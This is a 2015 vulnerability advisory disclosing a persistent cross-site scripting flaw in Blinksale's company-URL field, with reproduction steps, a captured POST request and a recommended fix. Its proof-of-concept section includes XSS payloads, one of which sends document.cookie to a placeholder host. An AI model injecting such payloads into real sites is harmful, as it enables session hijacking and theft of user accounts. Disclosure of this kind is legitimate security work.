Blinksale Bug Bounty #3 - Persistent Web Vulnerability

Document Title:
===============
Blinksale Bug Bounty #3 - Persistent Web Vulnerability


References (Source):
====================
http://www.vulnerability-lab.com/get_content.php?id=1449


Release Date:
=============
2015-09-20


Vulnerability Laboratory ID (VL-ID):
====================================
1449


Common Vulnerability Scoring System:
====================================
3.9


Product & Service Introduction:
===============================
We like to get paid. We’re sure you feel the same. So while you can use Blinksale and get paid by check, our integration
with Stripe* makes it easy to get paid in a flash. Just sign up at Stripe, put your credentials into Blinksale, and you’re
all set to accept credit card payments on your invoices!

(Copy of the Vendor Homepage: https://www.blinksale.com/ )


Abstract Advisory Information:
==============================
An independent vulnerability laboratory researcher discovered an application-side input validation web vulnerability in the official BlinkSale online service web-application.


Vulnerability Disclosure Timeline:
==================================
2015-03-10:     Researcher Notification (Hadji Samir)
2015-03-11:     Vendor Notification (Blinksale Security Team)
2015-09-11:     Vendor Response/Feedback (Blinksale Security Team)
2015-09-18:     Vendor Fix/Patch  (Blinksale Developer Team)
2015-09-20:     Public Disclosure  (Vulnerability Laboratory)


Discovery Status:
=================
Published


Affected Product(s):
====================
Doublewide Partners
Product: Blinksale 2015 Q1


Exploitation Technique:
=======================
Remote


Severity Level:
===============
Low


Technical Details & Description:
================================
An application-sideinput validation web vulnerability has been discovered in the official BlinkSale online service web-application.
The vulnerability allows remote attackers to hijack website customer or admin session data by client-side cross site requests.

The vulnerability is located in the id=`firm_url` value of the Edit Company Information module. Remote attackers are able to 
inject malicious script codes to client-side of the web-application requests. Remote attackers uses a validation error in the 
https://samirpen.blinksale.com/invoice_layouts/invoice1 url to execute the script code by the application-side.
The request method to inject is POST and the attack vector is located on the application-side of the online service web-application.

The security risk of the persistent input validation web vulnerability is estimated as medium with a cvss (common vulnerability 
scoring system) count of 3.9 Exploitation of the web vulnerability requires no privileged web-application user account and 
low or medium user interaction. Successful exploitation of the encoding vulnerability results in session hijacking, persistent 
phishing, persistent external redirects and persistent manipulation of affected or connected module context.

Vulnerable Service(s):
                          [+] BlinkSale

Vulnerable File(s):
                          [+] invoice_layouts/invoice1

Vulnerable Parameter(s):
                          [+] id - firm_url


Proof of Concept (PoC):
=======================
The vulnerability can be exploited by remote attackers without privileged application user account and with low or medium user interaction.
For security demonstration or to reproduce the vulnerability follow the provided information and steps below to continue.

Manual steps of the vulnerability ...
1. You do not need to register an account
2. Open up the main website and switch to the settings (account_info)
3. On the bottom you need to click the `Edit Company Information` button (edit)
4. edit Web address: with code attack (a.com" onmouseover=alert(document.cookie) a=" )
5. In the settings menu click to (Estimate/Invoice Templates)
6 .Open any Choose an invoice design template
7. in the from you will see the information and the url website have the bug


PoC: Payload(s)
a.com" onmouseover=alert(document.cookie) a="
a.com" onmouseover=document.location='http://localhost/n.php?cookie='+document.cookie; a="

PoC: Source (Execution)
<a href="http://a.com" onmouseover="alert(document.cookie)" a="" target="_blank">http://a.com" onmouseover=alert(document.cookie) a="</a>


--- PoC Session Logs [POST] ---
Host=hadjisa.blinksale.com
User-Agent=Mozilla/5.0 (Windows NT 5.2; WOW64; rv:36.0) Gecko/20100101 Firefox/36.0
Accept=text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language=fr,fr-FR;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding=gzip, deflate
Referer=https://hadjisa.blinksale.com/settings/account_info/edit
Cookie=_ga=GA1.2.1712853414.1424003227; _bs1_session=BAh7DDoPc2Vzc2lvbl9pZCI[...]
Connection=keep-alive
Content-Type=application/x-www-form-urlencoded
Content-Length=419
POSTDATA=_method=put&authenticity_token=RUZf%2Bt6Cd6m1xhJrhOob8KlpkRvmCQGjMcG0zfhpbWI%3D&firm%5Bname%5D=hadjisa&firm%5Bcountry%5D=US&firm%5Baddress1%5D=&firm%5Baddress2%5D=&firm%5Bcity%5D=&firm%5Bzip%5D=&firm%5Bstate%5D=&firm%5Bphone_office%5D=&firm%5Bfax%5D=&firm%5Btax_id_name%5D=&firm%5Btax_id%5D=&firm%5Burl%5D=a.com%22+onmouseover%3Dalert%28document.cookie%29+a%3D%22&firm%5Btime_zone_id%5D=Central+Time+%28US+%26+Canada%29

Reference(s):
https://hadjisa.blinksale.com/


Solution - Fix & Patch:
=======================
The vulnerability can be patched by a secure parse and encode of the vulnerable id - firm_url value in the  invoice_layouts/invoice1 page module. 
Restrict the input and disallow special chars in the id - firm_url  parameter input. Setup a secure exception to prevent application-side script code injection attacks.


Security Risk:
==============
The security risk of the application-side input validation vulnerability in the invoice module is estimated as medium. (CVSS 3.9)


Credits & Authors:
==================
Hadji Samir [[email protected]]


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=========================
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